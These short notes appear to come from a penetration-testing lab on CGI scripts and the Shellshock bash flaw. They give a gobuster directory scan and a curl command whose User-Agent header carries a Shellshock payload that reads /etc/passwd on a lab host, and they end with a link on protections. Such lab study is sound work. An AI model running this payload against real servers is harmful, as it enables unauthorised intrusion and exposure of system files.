CGI (Common Gateway Interface): Used to help a web server render dynamic pages and create a customized response for the user. (inverse de API)

gobuster dir -u <http://10.129.204.231/cgi-bin/> -w /usr/share/wordlists/dirb/small.txt -x cgi

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' <http://10.129.204.231/cgi-bin/access.cgi>

Protections: https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability